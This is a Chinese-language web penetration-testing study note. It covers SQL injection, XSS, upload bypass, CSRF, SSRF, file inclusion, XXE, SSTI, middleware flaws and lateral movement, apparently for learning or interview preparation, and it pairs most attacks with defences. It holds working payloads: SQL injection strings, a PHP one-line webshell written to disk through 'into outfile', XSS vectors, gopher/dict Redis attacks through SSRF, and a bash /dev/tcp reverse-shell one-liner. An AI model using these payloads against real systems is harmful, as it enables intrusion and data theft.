SQL注入

sql注入的原理

sql 注入攻击是通过将恶意的 sql 查询或添加语句插入到应用的输入参数中,再在后台 sql 服务器上解析

执行进行的攻击

sql注入的分类

头部注入(ua,cookie,referer)

联合注入

报错注入

布尔盲注

时间盲注

堆叠注入宽字节注入

布尔注入原理

布尔盲注:根据注入信息返回true or fales 没有任何报错信息

时间盲注:界面返回值ture 无论输入任何值,返回的情况都是正常的来处。加入特定的时间函数,通过

查看web页面返回的时间差来判断注入的语句是否正确。

常用函数

length(str):返回str字符串的长度。

substr(str, pos, len):将str从pos位置开始截取len长度的字符进 行返回。注意这里的pos位置是从1开始的,不是数组的0开始

mid(str,pos,len):跟上面的一样,截取字符串

ascii(str):返回字符串str的最左面字符的ASCII代码值。

ord(str):同上,返回ascii码

if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

查询语句

1.首先我们需要判断数据库长度
' or Length(database()) = 8 #返回true说明数据库长度为8

2.获取数据库名字

' or ord(mid(database(),1,1)) ='ascill值'#
依次获取

3.获取表的总数
' or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() )= 2#

4.获取表的长度(第一个表)
' or (select length(TABLE_NAME) from information_schema.TABLES where
TABLE_SCHEMA=database() limit 0,1 )= (猜测得长度)#

5.获取表的内容
' or mid((select TABLE_NAME from information_schema.TABLES where
TABLE_SCHEMA=database() limit 0,1),1,1) = 'a' #

6.获取表的字段的总数
' or (select count(COLUMN_NAME) from information_schema.COLUMNS where
TABLE_NAME=表名 ) = 8#8返回true说明有8个表

时间盲注函数

RLIKE
通过 rpad 或 repeat 构造长字符串,加以计算量打的 pattern,通过 repeat 的参数可以控制延时长短

sleep(duration)
睡眠时间为 duration 参数给定的秒数,然后返回0;若函数被中断,返回1。

BENCHMARK(count, expr)
重复 count 次执行表达式 expr。
可以被用于计算 MySQL 处理表达式的速度
结果值通常为0

笛卡尔积
SELECT count(*) FROM information_schema.columns A, information_schema.colums B,
information_schema.colums C;
通过复杂的运算达到延时

GET_LOCK(str, timeout)
使用字符串 str 给定的名字得到一个锁,超时为 timeout 秒
局限:当前会话不会生效,只有新会话开启,并且保持长连接( mysql_pconnect函数来连接数据库),才能生效

报错注入函数

updatexml():是mysql对xml文档数据进行查询和修改的xpath函数

extractvalue():是mysql对xml文档数据进行查询的xpath函数

and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,MySQL 5.1.5版本以下**的不能上述函

数进行报错注入

并且,上述报错注入函数有字符限制,最长32位

虚拟表主键重复报错注入

报错注入的原因是group by在向临时表插入数据时,由于rand ()多次计算导致插入临时表时主键重复,

从而报错,又因为报错前concat ()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL

语句或函数执行后的结果。

floor() + rand() + group by

select count(*) from information_schema.tables group by

concat(version(),floor(rand(0)*2));

exp():此函数返回e(自然对数的底)指数X的幂值,整数溢出报错

and exp(~(select * from(select user())a));

geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()

函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错

宽字节注入原理

像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两字节

宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次

编码。在使用PHP连接MySQL的时候,当设置“character_set_client = gbk”时会导致一个编码转换的问

题,也就是我们熟悉的宽字节注入

宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有

两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)

常见转义函数:

1.replace():过滤 ' ,将 ' 转化为 ' ,将 转为 ,将 " 转为 " 。用思路一。

2.addslaches():返回在预定义字符之前添加反斜杠()的字符串。预定义字符:' , " , 。用思路一

(防御此漏洞,要将 mysql_query 设置为 binary 的方式)

3.mysql_real_escape_string():转义下列字x00 n r ' " x1a

sql注入的bypass

绕过空格

注释符/* */,tab,%a0,括号

引号绕过

使用十六进制

逗号绕过

在使用盲注的时候,需要使用到substr(),mid),limit。这些子句方法都需要使用到逗号。
对于substr()和mid()这两个方法都可以使用from to方式来尝试绕过:

Select substr(database() from 1 for 1);
Select mid(database() from 1 for 1);

使用join:

Union select1,2 等价于  union select * from(select 1)a join (select 2)b

使用like:

Select ascii(mid(user(),1,1))=80 等价于 select user() like'r%'

对于limit可以使用offset来绕过:

Select * from news limit 0,1 等价于 select * from news limit 1 offset 0

比较符号(<>)绕过:

Greatest(): 返回最大值
使用N个参数,并返回N个参数中的最大值

Greatest(value1,value2,...)

Least(): 返回最小值
上面两个函数的比较规则:

如果任何参数为NULL,则两个函数都将立即返回NULL,不进行任何比较
如果在INT或REAL上下文中使用函数,或者所有参数都是整数值或REAL值,那么他们将分别作为INT或REAL来比较
如果参数有数字和字符串组成,则函数将他们作为数亨比较
如果至少有一个参数是非二进制(字符)字符串,则函数将参数作为非二进制字符串来比较在所有其他情况下,函数将作为二进制字符串进行比较

=绕过(like、rlike、regexp,<,>)

Or and xor not绕过(And == &&,Or == ||,Xor = |,Not = !)

sql注入的防御

采用一些过了函数过滤,或者黑白名单,还有就是预编译

预编译的原理

通俗的讲,预编译防止SQL注入的原理是提前编译SQL语句,将所有的用户输入都当做『数据』,而非

『语法』,来防止sql语句的执行从而防止sql注入(发生在后端)

缺点:

在PHP 5.3.6之前,PDO确实存在宽字节注入的问题

sql写文件利用

条件

secure_file_priv=空

知道网站绝对路径

有读写权限(或者有root权限最好)

读取文件:load_file()

id=-1' union select 1,load_file('C:\phpStudy\PHPTutorial\MySQL\my.ini'),2 ---

写入文件:使用函数:Into Outfile(能写入多行,按格式输出)和Into Dumpfile (只能写入一行且没

有输出格式)

1')) union select 1,'<?php eval($_REQUEST[23]); ?>',3 into outfile 'D://1.php' ---

不能直接写一句话木马可以尝试使用file_put_contents函数写日志,再日志包含写文件

mysql8新特性注入

VALUES关键字

VALUES是把一组一个或多个行作为表展示出来,返回的也是一个表数据。

TABLE关键字

TABLE始终显示表的所有列

TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句

XSS

xss原理

恶意攻击者往Web页面

里插入恶意JS代码,当用户浏览该页之时,嵌入其中Web里面的JS代码会被执行,从而

达到恶意的特殊目的。

xss分类

1.反射型

非存储型,就是通过get或者post请求时,被后端处理过数据,并且响应到前端页面上

2.存储型

XSS代码被存储到服务器上的数据库里的某张表的字段里,或者页面,或者某个上传文件里

3.DOM型

仅仅在前段页面进行DOM树节点的修改操作的

xss常利用标签

<script> alert("xss"); </script>

<img src=1 onerror=alert("xss");>

<input onfocus="alert('xss');">
//竞争焦点,从而触发onbiur事件

<input onblur=alert('xss') autofocus><input autofocus>
//通过 autofocus 属性执行本身的focus事件,这个向量是使焦点自动跳转到输入元素上,触发焦点事
件,无需用户去触发

<input onfocus="alert('xss');"autofocus>

<details ontoggle="alert('xss');"></details>
// 使用open属性触发ontoggle事件,无需用户去触发

<details open ontoggle="alert('xss');"></details>

<svg onload="alert('xss')"></svg>>

<select onfocus=alert('xss')></select>
// 通过autofocus 属性执行本身的focus事件,这个向量是使焦点自动跳转到输入元素上,触发焦点事
件,无需用户去触发

<select onfocus="alert('xss')" autofocus></select>

<iframe onload=alert("xss");></iframe>

<video><source onerror="alert('xss')"></video>

<audio src="x" onerror=alert('xss');></audio>

<body onload=alert('xss');></body>

防范xss攻击的方式

防范XSS攻击行为,一般有三种方式,一是对输入内容和URL参数进行过滤,二是对动态输出的内容进行

编码,使该脚本无法生效。三是对Cookie设置`http-only使js无法对Cookie进行操作。(需要在HTTP头

部配上,set-cookie: http-only 这个属性可以 防止XSS,它会禁止javascript脚本来访问cookie

文件上传

文件上传漏洞原理

上传的文件能够被web容器解释执行。所以文件上传后所在的目录要是web容器所覆盖到的路径。

其次,用户能够从web访问这个文件。

文件上传漏洞bypass

一般都是在网页上写一段 javascript 脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。判

断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框

黑名单绕过

这里修改文件名字后,请求头中的 Content-Length 的值也要改。

(1)黑名单检测:一般有个专门的 blacklist 文件,里面会包含常见的危险脚本文件。

绕过方法:

(1)找黑名单扩展名的漏网之鱼 - 比如 iis6.0 中的 asa 和 cer 
(2)可能存在大小写绕过漏洞 - 比如aSp(iis6.0 中可以)和 pHp(只能在小于php5.3.39 中的 linux 中)之中 
(3)能被web容器解析的文件其他扩展名列表:jsp,jspx,jspf,asp,asa,cer,cdx,htr,xml,html,aspx,ashx,asmx,asax,ascx

(2)黑名单特殊后缀名绕过(利用难度高)

将Burpsuite截获的数据包中backlion.php名字改为 baclion.php4(php1,php2,php3,php4,php5), 前提

条件是 http.conf 中设置 AddType application/x-httpd-php .php1(php 的版本小于等于 5.3.29 以下)

(3)单双重后缀名绕过

上传时将 Burpsuite 截的数据包中文件名 backlion.php(backlion.asa)改 为

backlion.pphphph(backlion.asasaa),那么过滤了第一个"php"字符串"后, 开头的'p'和结尾的'hp'就组

合又形成了 php

(4)服务端 MIME 文件类型(Content-Type)绕过

白名单绕过

(1)配合web容器的解析漏洞:

IIS中的目录解析漏洞和分号解析漏洞 :

将一句话木马的文件名 backlion.php,改成 backlion.php.abc(奇怪的不被解析的后缀名都 行)。首先,

服务器验证文件扩展名的时候,验证的是.abc,只要该扩展名符合服务器端黑白名单觃则,即可上传。

nginx 空字节漏洞 xxx.jpg%00.php 这样的文件名会被解析为php代码运行。

apache 的解析漏洞,上传如 a.php.rar a.php.gif 类型的文件名,可以避免 对于php文件的过滤机制,

但是由于 apache 在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar 等扩展名

是 apache 不能识别的, 因此就会直接将类型识别为 php,从而达到了注入php代码的目的。

(2)%00 截断上传绕过

通过抓包截断将 backlion.asp.jpg 后面的一个.换成%00 在上传的时候即 backlion.asp%00.jpg,当文件

系统读到%00 时,会认为文件已经结束,从而将 backlion.asp.jpg 的内容写入到 backlion.asp 中,从而

达到攻击的目的。%00 不是针对所有基于白名单的后缀名检查都能绕过,代码的实现过程中必须存在截

断上传漏洞,上传格式如下:bk.asp%00.jpg

(3)文件头内容检测绕过

文件头简介

不同的图片文件都有不同文件头,如: PNG:文件头标识 (8 bytes) 89 50 4E 47 0D 0A 1A 0A JPEG:

文件头标识 (2 bytes): 0xff, 0xd8 (SOI) (JPEG 文件标识) GIF:文件头标识 (6 bytes) 47 49 46 38 39(37)

61 上传文件的时候会检查上传文件是否合法,如图片文件是否文件头含有 gif89, 这里可以通过一句话图

片木马生成工具 edjpgcom 戒者通过编辑器在木马内容基础上再加了一些文件信息,有点像下面的结构:

文件上传防御

  1. 客户端检测,使用 js 对上传图片检测,包括文件大小、文件扩展名、文件类型等

  2. 服务端检测,对文件大小、文件路径、文件扩展名、文件类型、文件内容检测、对文件重命名等

  3. 服务器端上传目录设置不可执行权限

  4. 检查网站有没有文件解析漏洞和文件包含漏洞

  5. 将文件上传到单独的文件服务器,并且单独设置文件服务器的域名

CSRF

CSRF的原理

攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成

了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚

至于购买商品、虚拟货币转账等。

CSRF的检测

最简单的方法就是抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那

么基本上可以确定存在CSRF漏洞。

以CSRFTester工具为例,CSRF漏洞检测工具的测试原理如下:使用CSRFTester进行测试时,首先需要

抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在CSRFTester中修改相应的表

单等信息,重新提交,这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受,

则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。

CSRF的防御

目前防御 CSRF 攻击主要有三种策略:

  1. 验证 HTTP Referer 字段;

  2. 在请求地址中添加 token 并验证;

  3. 在 HTTP 头中自定义属性并验证。

在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参

数的形式加入一个随机产生的 token(可以是JWT),并在服务器端建立一个拦截器来验证这个 token,

如果请求中没有 token 或者 token 内容不正确

SSRF

ssrf原理

1.服务端提供了从其他服务器应用获取数据的功能

2.没有对目标地址做过滤与限制

比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载文件等等

ssrf漏洞发现

具体可能出现SSRF的地方:

​ 1.社交分享功能:获取超链接的标题等内容进行显示

​ 2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

​ 3.在线翻译:给网址翻译对应网页的内容

​ 4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

​ 5.图片/文章收藏功能:主要网站会取URL地址中title以及文本的内容作为显示以求一个好的用户体验

​ 6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以

进行SSRF测试

​ 7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

​ 8.数据库内置功能:数据库的比如mongodb的copyDatabase函数

​ 9.邮件系统:比如接收邮件服务器地址

​ 10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

​ 11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏

洞,一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、

sourceURl、imageURL、domain……

​ 12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使

用了xml引擎对象的地方 如wordpress xmlrpc.php)

ssrf验证

1、因为SSRF漏洞是构造服务器发送请求的安全漏洞,所以我们可以通过抓包分析发送的请求是否是由

服务器端发送的来判断是否存在SSRF漏洞

2、在页面源码中查找访问的资源地址,如果该资源地址类型为http://www.xxx.com/a.php?image=(地

址)的可能存在

ssrf漏洞利用

未授权打redis

SSRF 攻击的话并不能使用 redis-cli 来连接 Redis 进行攻击操作,未授权的情况下可以使用 dict 或者

gopher 协议来进行攻击,因为 gopher 协议构造比较繁琐,建议直接使用 DICT 协议

dict://x.x.x.x:6379/<Redis 命令>

有认证打redis

配合本地文件包含先成功读取到 /etc/redis.conf 配置文件,直接搜索 requirepass关键词来定位寻找密

302重定向打redis

利用web服务上的SSRF漏洞访问在另一台服务器上的302跳转,302跳转的Location 数据为:

gopher://127.0.0.1:6379/_[Redis伪造数据],Redis伪造的数据为向 /root/.ssh/保存authorized_keys文

件,文件内容为攻击机的SSH公钥。这样攻击机就可通过SSH直接连接漏洞机。

当返回302时,只是临时重定向,浏览器不会缓存数据

在自己的服务器上写302 跳转

在另一台自己的服务器上写一个302 重定向的代码

<?php header("Location: gopher>

FILE 协议获取本地信息

我们可以尝试配合 file 协议来读取本地的文件信息,尝试使用 file 协议来读取 /etc/passwd

探测内网端口

SSRF 常配合 DICT 协议探测内网端口开放情况,但不是所有的端口都可以被探测,一般只能探测出一些

带 TCP 回显的端口,具体可以探测哪些端口需要大家自己动手去测试一下,BP 下使用迭代器模式爆

破,设置好要爆破的 IP 和 端口即可批量探测出端口开放的信息

目录扫描

内网 Web 资产进行目录扫描的话,使用传统的 dirsearch 等工具就不是很方便了,使用的是 Burpsuite

抓包,然后导入字典批量遍历路径参数

命令执行

经典的命令执行,通过 POST 方式攻击者可以随意利用 Linux 命令拼接符 ip 参数,从而导致任意命令执行

ssrf危险函数

file_get_contents()

fsockopen()

PHP fsockopen需要 PHP.ini 中allow_url_fopen选项开启。

curl_exec()

前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。

ssrf的绕过

ip协议转换

短网址绕过(有生成短网址的网站)

利用302跳转

ssrf的防御

只允许发起HTTP(S)协议的请求;

限制访问端口;

限制不能访问内网IP;

特殊符号和字符过滤;

设置白名单/黑名单;

文件包含

相关函数

  1. include()如果出错的话,只会提出警告,会继续执行后续语句。

  2. include_once()

  3. require()如果在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句。

  4. require_once()

远程文件包含受allow_url_fopen = On和allow_url_include = On这两个的影响。本地文件包含不受影响

相关伪协议

php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代

替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 而且,这样的情况下

$HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data 潜在需要更少的内

存。 enctype="multipart/form-data" 的时候 php://input 是无效的。

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的

文件函数非常有用,类似 readfile()、 file()和 file_get_contents(), 在数据流内容读取之前没有机会应用

其他过滤器。

file:// — 访问本地文件系统

ftp:// -- ftps:// — 访问 FTP(s) URLs

zip://:可以访问压缩包里的文件。当他与包含函数结合时,zip://流会被当做php文件执行。

phar://这个就是php解压缩报的一个函数,不管后缀是什么,都会当做压缩包来解压,用法:?

file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意 PHP>=5.3.0压缩包需要是zip协议压缩,

rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。步骤:写一个一句话木马

shell.php,然后用zip协议解压缩为shell.zip。然后将后缀改为png等其他格式

文件包含分类

包含session

利用条件:session文件路径已知,且其中内容部分可控。

php的session文件的保存路径可以在phpinfo的session.save_path看,然后用

session.upload_progress将木马写入session文件

包含日志

利用条件:需要知道服务器日志的存储路径,且日志文件可读。

apache+Linux日志默认路径:/etc/httpd/logs/access.log或/var/log/httpd/access.log

2.apache+win2003日志默认路径:D:xamppapachelogsaccess.log、
D:xamppapachelogserror.log

包含environ

利用条件:

php以cgi方式运行,这样environ才会保持UA头。

environ文件存储位置已知,且environ文件可读。environ文件默认位置:/proc/self/environ。在Linux

系统下(FreeBSD是没有这个的)。Windows系统没有。

proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到

environ中。之后再包含它,即可。

包含fd

文件描述符:File descriptor,简称fd,当应用程序请求内核打开/新建一个文件时,内核会返回一个文件

描述符用于对应这个打开/新建的文件,其fd本质上就是一个非负整数。实际上,它是一个索引值,指向

内核为每一个进程所维护的该进程打开文件的记录表。当程序打开一个现有文件或者创建一个新文件

时,内核向进程返回一个文件描述符。

默认位置:/proc/self/fd/。在Linux系统下。Windows系统没有。

包含临时文件

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:winsdowstemp

目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而

window下只有65535种不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,

直接包含即可

条件:存在phpinfo界面和文件包含

原理:

1.当我们给PHP发送POST数据包时,如果数据包里包含文件区块,PHP就会将文件保存成一个临时文

件,路径通常为:/tmp/php[6个随机字符],这个临时文件,在请求结束后就会被删除。

2.因为phpinfo页面会将请求上下文中的所有变量打出来,所以我们如果向phpinfo页面发送包含文件区

块的数据包,就可以在返回包里找到临时文件名,也就是$_FILES变量中的内容。

文件包含的防御

  1. 在很多场景中都需要去包含web目录之外的文件,如果php配置了open_basedir,则会包含失败。

所以PHP 中使用open_basedir配置限制访问在指定的区域。

  1. 做好文件的权限管理。

  2. 对可以包含的文件进行限制,可以采用白名单的方式,或设置可以包含的目录。

  3. 对危险字符进行过滤,比如过滤.(点)/(反斜杠)(反斜杠)等特殊字符。

  4. 尽量将allow_url_fopen和allow_url_include配置为off,不过像有些伪协议还是能使用,不过能尽

量off还是off吧。

  1. 尽量不使用动态包含等等

XXE

xxe原理

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成

文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可

以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

注:最直接的方法就是用burp抓包,然后,修改HTTP请求方法,修改Content-Type头部字段等等,查

看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞

xxe防御

  1. 禁用外部实体

  2. 过滤和验证用户提交的XML数据

  3. 不允许XML中含有任何自己声明的DTD

  4. 有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的

属性值为false即可

SSTI

ssti原理

SSTI也就是服务器端模板注入攻击(Server-Side Template Injection),和SQL注入差不多,也是由于

没有安全地处理用户输入造成的安全问题。简单来说,其实质是服务端接收了用户的输入,但没有进行

严格的过滤就将用户的输入直接带入了编译渲染过程。这样在这个过程中如若用户输入的内容存在一些

恶意代码,就有可能会被执行。

攻击方式

base:对象的一个基类,一般情况下是object

mro:获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object在最底层所以在列表

中的最后,通过mro[-1]可以获取到

subclasses() :继承此对象的子类,返回一个列表

考察SSTI的CTF题目一般都是给个变量,因为有这些类继承的方法,便可以从任何一个变量,回溯到基

类中去,再获得到此基类所有实现的类,这便是攻击方式:

从变量->对象->基类->子类遍历->全局变量

原型链污染

原型链污染的核心机制在于,当我们调用对象某一属性,它首先会从obj中寻找,如果没有找到,则会向

上在obj.proto中寻找,如果仍未找到则会继续向上,从obj.proto.proto__查找,直到查找到元素或查

找到Object类为止

中间件漏洞

IIS

1、PUT漏洞

IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写入的权限,造成任意文件上传。

版本: IIS6.0

2、短文件名猜解

IIS的短文件名机制,可以暴力猜解短文件名,访问构造的某个存在的短文件名,会返回404,访问构造

的某个不存在的短文件名,返回400。

3、远程代码执行

在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行

memcpy对虚拟路径进行构造的时候,引发栈溢出,从而导致远程代码执行。

4、解析漏洞

IIS 6.0 在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞。这一漏洞有两种完

全不同的利用方式:

/test.asp/test.jpg 		test.asp;.jpg

第一种是新建一个名为 "test.asp" 的目录,该目录中的任何文件都被 IIS 当作 asp 程序执行(特殊符号

是 “/” )

第二种是上传名为 "test.asp;.jpg" 的文件,虽然该文件真正的后缀名是 ".jpg", 但由于含有特殊符号 ";"

,仍会被 IIS 当做 asp 程序执行

IIS7.5

php 又默认开启 "cgi.fix_pathinfo", 会对文件进行 “ 修理 ” ,可谓 “ 修理 ” ?举个例子,当 php 遇到路径

"/aaa.xxx/bbb.yyy" 时,若 "/aaa.xxx/bbb.yyy" 不存在,则会去掉最后的 “bbb.yyy" ,然后判断

"/aaa.xxx" 是否存在,若存在,则把 “/aaa.xxx" 当作文件。

Apache

1、解析漏洞

Apache默认一个文件可以有多个以点分隔的后缀,当右边的后缀无法识别(不在mime.tyoes内),则

继续向左识别

AddHandler application/x-httpd-php .php的配置文件配置错误

2、目录遍历

apache配置文件httpd.conf 找到Options+Indexes+FollowSymLinks +ExecCG配置错误

Nginx

1、文件解析

对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加

test.jpg/x.php进行解析攻击。

/etc/php5/fpm/pool.d/www.conf中security.limit_extensions = .php配置错误

2、目录遍历

/etc/nginx/sites-avaliable/default里的autoindex on配置错误

3、CRLF注入

CRLF时“回车+换行”(rn)的简称。

HTTP Header与HTTP Body时用两个CRLF分隔的,浏览器根据两个CRLF来取出HTTP内容并显示出来。

通过控制HTTP消息头中的字符,注入一些恶意的换行,就能注入一些会话cookie或者html代码,由于

Nginx配置不正确,导致注入的代码会被执行。

4、目录穿越

Nginx反向代理,静态文件存储在/home/下,而访问时需要在url中输入files,配置文件中/files没有用/

闭合,导致可以穿越至上层目录。

Tomcat

1、远程代码执行

Tomcat 运行在Windows 主机上,且启用了 HTTP PUT 请求方法,可通过构造的攻击请求向服务器上传

包含任意代码的 JSP 文件,造成任意代码执行。

影响版本: Apache Tomcat 7.0.0 – 7.0.81

2、war后门文件部署

Tomcat 支持在后台部署war文件,可以直接将webshell部署到web目录下。

若后台管理页面存在弱口令,则可以通过爆破获取密码。

jBoss

1、反序列化漏洞

jBoss是一个基于J2EE的开发源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免

费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不

包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。

2、war后门文件部署

jBoss后台管理页面存在弱口令,通过爆破获得账号密码。登陆后台上传包含后门的war包。

WebLogic

1、反序列化漏洞

Java序列化,简而言之就是把java对象转化为字节序列的过程。而反序列话则是再把字节序列恢复为java

对象的过程,然而就在这一转一变得过程中,程序员的过滤不严格,就可以导致恶意构造的代码的实

现。

2、SSRF

Weblogic 中的SearchPublicRegistries.jsp存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进

而攻击内网中redis、fastcgi等脆弱组件。

3、任意文件上传

通过访问config.do配置页面,先更改Work Home工作目录,用有效的已部署的Web应用目录替换默认

的存储JKS Keystores文件的目录,之后使用"添加Keystore设置"的功能,可上传恶意的JSP脚本文件。

4、war后门文件部署

由于WebLogic后台存在弱口令,可直接登陆后台上传包含后门的war包。

其它中间件相关漏洞

1、FastCGI未授权访问、任意命令执行

服务端使用fastcgi协议并对外网开放9000端口,可以构造fastcgi协议包内容,实现未授权访问服务

端.php文件以及执行任意命令。

2、PHPCGI远程代码执行

在apache调用php解释器解释.php文件时,会将url参数传我给php解释器,如果在url后加传命令行开

关(例如-s、-d 、-c或-dauto_prepend_file%3d/etc/passwd+-n)等参数时,会导致源代码泄露和任意

代码执行。

php反序列化漏洞

魔法函数

__construct() 当一个对象创建时被调用,反序列化不触发
__destruct() 当一个对象销毁时被调用
__toString() 当一个对象被当作一个字符串使用,比如echo输出或用 . 和字符串拼接
__call() 当调用的方法不存在时触发
__invoke() 当一个对象被当作函数调用时触发
__wakeup() 反序列化时自动调用
__get() 类中的属性私有或不存在触发
__set() 类中的属性私有或不存在触发

反弹shell

bash -i >& /dev/tcp/ip/端口 0>&1

bash -i 打开一个交互式的bash

/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket

连接,读写这个文件就相当于在这个socket连接中传输数据。

文件描述符

已知Linux下存在三种文件描述符:

0 - stdin 标准输入,使用< 或 <<

1 - stdout 标准输出,使用> 或 >>

2 - stderr 标准错误输出,使用2或者2>>

&>的含义

反弹shell中的&没有固定含义,放在>后面的&,表示重定向的目标不是一个文件,而是一个文件描述符。

当>&后面接文件时,表示将标准输出和标准错误输出重定向到文件

当>&后面接文件描述符时,表示将前面的文件描述符重定向到后面的文件描述符

内网渗透

一个目标怎么信息收集?

搜索引擎

Google搜索、Shodan搜索、FOFA搜索

信息收集工具:Maltego

可收集:域名邮箱、人员、地址

DNS分析

域名注册信息:whois

子域名:Layer子域名挖掘机、onlietools、dnsmap、fierce

真实IP地址  超级ping

网站架构

服务组件和脚本类型:Wappalyzer 、whatweb
服务器类型:nmap
CMS类型:onlinetools
WAF:WAF、wafoof

旁站和C段

onlinetools、webscan

后台目录

御剑目录扫描、7kbstorm、dirb

端口

nmap zenmap

漏洞扫描

AWVS Nessus

一个不出网机器怎么打

  1. 边缘主机出网,选择reverse反向连接,现在已经上线边缘主机

  2. 过已有的父Beacon使用SMB协议进行正向连接不出网机器,要求目标开启445端口,通过命名管道

进行认证即可上线,用户名和hash后,即可执行远程命令

横向移动

利用windows远程连接命令

IPC连接

(1)目标机器没有禁用IPC$连接,没有什么防火防盗拦截IPC$,139 445 端口也开了(能走445走

445,不能则走139)

(2)目标机器小管理员开了IPC$默认共享服务

(3)获取了目标机器的小管理员的管理员权限的账号密码(最好是域管理员账号密码),明文的

(4)目标系统能支持IPC$,且和攻击机能彼此互通(废话)

at任务

一是在获取webshell后不能够执行系统命令的情况下可以用at命令将命令执行后写入txt再用type读取,

二是利用at计划任务命令上线cs或者msf

首先介绍第一个用处,这是我之前在实战的过程中拿到了一个oa系统的shell,但是这里在webshell处不

能够执行命令,这时候就可以调用at命令调用cmd执行系统命令

schtasks命令

在2008及以后的系统中已经将at命令废弃,改用schtasks命令代替了at命令,原因是因为schtasks命令

比at命令使用起来更加灵活。

psexec

基本原理:

通过ipc连接admin,释放二进制文件psexecsvc.exe到目标.通过服务管理SCManager远程创建一个psexec服务,并启动服务.客户端连接执行命令,服务端通过服务启动相应的程序执行命令并回显数据.运行结束后删除服务

使用前提:

对方主机开启了 admin共享,如果关闭了admin共享,会提示:找不到网络名对方未开启防火墙如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。

利用WMI

Windows操作系统默认不会将wmi操作记录到日志当中,而且因为采用的是无文件攻击,所以导致WMI具有极高的隐蔽性,wmic也可以用来调用cmd执行系统命令,跟at命令类似,wmic调用cmd的时候也是没有回显的,所以我们还是写入txt用type命令进行查看

PTH(pass the hash)

1.获得一台域主机的权限

2.Dump内存获得用户hash

3.通过pass the hash尝试登录其他主机

4.继续搜集hash并尝试远程登录

5.直到获得域管理员账户hash,登录域控,最终成功控制整个域

防御:KB2871997后,发现无法使用常规的哈希传递方法进行横向移动,但Administrator账号

(SID为500)例外-----使用该账号的散列值依然可以进行哈希传递。这里强调的是SID为500的账号,

